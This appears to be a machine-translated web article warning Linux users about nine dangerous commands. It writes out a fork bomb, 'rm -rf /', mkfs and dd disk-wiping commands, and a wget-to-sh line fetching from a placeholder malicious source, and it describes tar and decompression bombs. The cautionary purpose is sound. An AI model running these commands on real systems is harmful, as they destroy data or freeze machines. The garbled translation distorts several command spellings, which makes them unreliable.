9 Linux needs to be carefully used to summarize

  
        

There are a few things to note: some commands are only harmful if they have a sudo prefix in Ubuntu. Other distributions of Linux are harmful when used as root commands.

1. Linux Fork Bomb Command

: (){ :: & };: Known as Fork Bomb, it is a Linux system that denies service attacks. : (){ :: & };: is a bash function. As long as it is executed, he will repeat it until the system is frozen.

You can only restart the system to solve this problem. So be sure to pay attention when you execute this command on the Linux interface.

2, Mv Folder/Dev/Null Command

mv folder/dev/null is also a dangerous command. Dev/null or null device is a device file that deletes all data written on this device file, but the operation prompt is successful for the write operation. This is what we often call bit bucked or black hole.

3, Rm -Rf Command

The rm -rf command can quickly delete folders and their contents on Linux systems. If you don't know how to use it properly, you just cry.

The following are the most common combinations and choices for the m-rf command:

rm command: delete files from the Linux system

rm -f command: delete files without prompting Read-only file in

rm -r command: to delete the contents of the folder

rm -d command: delete the empty directory, if the directory is not empty, the operation will not be performed

rm -rf/command: Forces deletion of all content and subfolders (including write protected files) commands in the root directory

rm -rf* command: Forces deletion of everything in the current directory (current work Directory) and word folder

rm -rf. command: Forces deletion of everything in the current folder directory/subdirectory. Same as rm -r.[^.]*

The rm -r.[^.]* command: delete files and folders with delete prompts

4, Mkfs Command

If you don't know the role of mkfs, then it is also a dangerous command, any commands written after mkfs will be formatted and replaced by a blank linux file system.

The following lists the commands that require administrator privileges to format the hard disk:

mkfs

mkfs.ext3

mkfs.bfs

mkfs.ext2

mkfs.minix

mkfs.msdos mkfs.reiserfs

mkfs.vfat

mkfs.cramfs can also be done with the above code The same thing, but does not need to manage source permissions.

5, Tar Bomb

The tar command is used to put multiple files into a file (archive file) in .tar format. The Tape Archive (Tar) bomb can be created by him.

When compressed, this archive file generates tens of thousands of similarly named files that appear in the current directory instead of the new one.

When you receive a tar file, periodically create a new protected directory, and then put the accepted tar file into this directory before unzipping, you can avoid becoming a victim of tar bomb.

6, Dd Command

The Dd? command is used to copy & change the hard disk partition. If you use the wrong place, then it is very dangerous.

The following dd commands are listed:

dd if=/dev/hda of=/dev/hdb

dd if=/dev/hda of=/dev/sdb< Br>

dd if=something of=/dev/hda

dd if=something of=/dev/sda

The following command will clear the entire master hard disk: dd if =/dev/zero of=/dev/had

7, Shell Script Code

Sometimes, you may be pitted, give you a shell script file, let you download and Execute it. The script may contain some malicious or dangerous code. The command form might look like this: wget http://some_malicious_source -O- sh. Wget will download the script when sh narrow script.

8, Malicious Source Code

Maybe someone will give you the source code to let you compile him. The code might be normal code, but there are some malicious code that masquerades in large source code, and if so, your system is shot. How to avoid? Only accept and compile the source code of the trusted source.

9, Decompression Bomb

You have received a compressed file and you are asked to extract this seemingly small file, which may be as small as KB. In fact, this small compressed file contains highly compressed data.

As long as the files are decompressed, hundreds of gigabytes of data will be extracted. At this time, if the oversized data fills up the hard disk and causes the downtime, the chances are great. How to avoid it? Or the old saying, don't worry, what files are received, please receive the trusted source file.

Copyright © Windows knowledge All Rights Reserved